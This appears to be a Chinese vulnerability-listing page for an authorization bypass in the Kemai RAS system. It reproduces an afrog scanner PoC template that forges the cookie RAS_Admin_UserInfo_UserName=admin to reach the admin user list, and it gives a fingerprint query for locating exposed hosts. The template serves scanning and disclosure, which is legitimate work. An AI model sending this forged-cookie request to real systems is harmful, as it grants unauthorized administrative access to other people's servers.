maike-ras-cookie-bypass: 科迈 RAS系统 Cookie验证越权漏洞

日期: 2025-09-01 | 影响软件: 科迈RAS系统 | POC: 已公开

漏洞描述

科迈 RAS系统 存在Cookie验证越权，当 RAS_Admin_UserInfo_UserName 设置为 admin 时可访问后台 app="科迈-RAS系统"

PoC代码[已公开]

id: maike-ras-cookie-bypass

info:
  name: 科迈 RAS系统 Cookie验证越权漏洞
  author: zan8in
  severity: high
  description: |
    科迈 RAS系统 存在Cookie验证越权，当 RAS_Admin_UserInfo_UserName 设置为 admin 时可访问后台
    app="科迈-RAS系统"
  reference:
    - http://wiki.peiqi.tech/wiki/webapp/%E7%A7%91%E8%BF%88/%E7%A7%91%E8%BF%88%20RAS%E7%B3%BB%E7%BB%9F%20Cookie%E9%AA%8C%E8%AF%81%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /Server/CmxUser.php?pgid=UserList
      headers:
        Cookie: RAS_Admin_UserInfo_UserName=admin
    expression: response.status == 200 && response.body.bcontains(b'退出</A>') && response.body.bcontains(b'系统登录</A>') && response.body.bcontains(b'配置管理</A>')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/maike-ras-cookie-bypass.yaml

相关漏洞推荐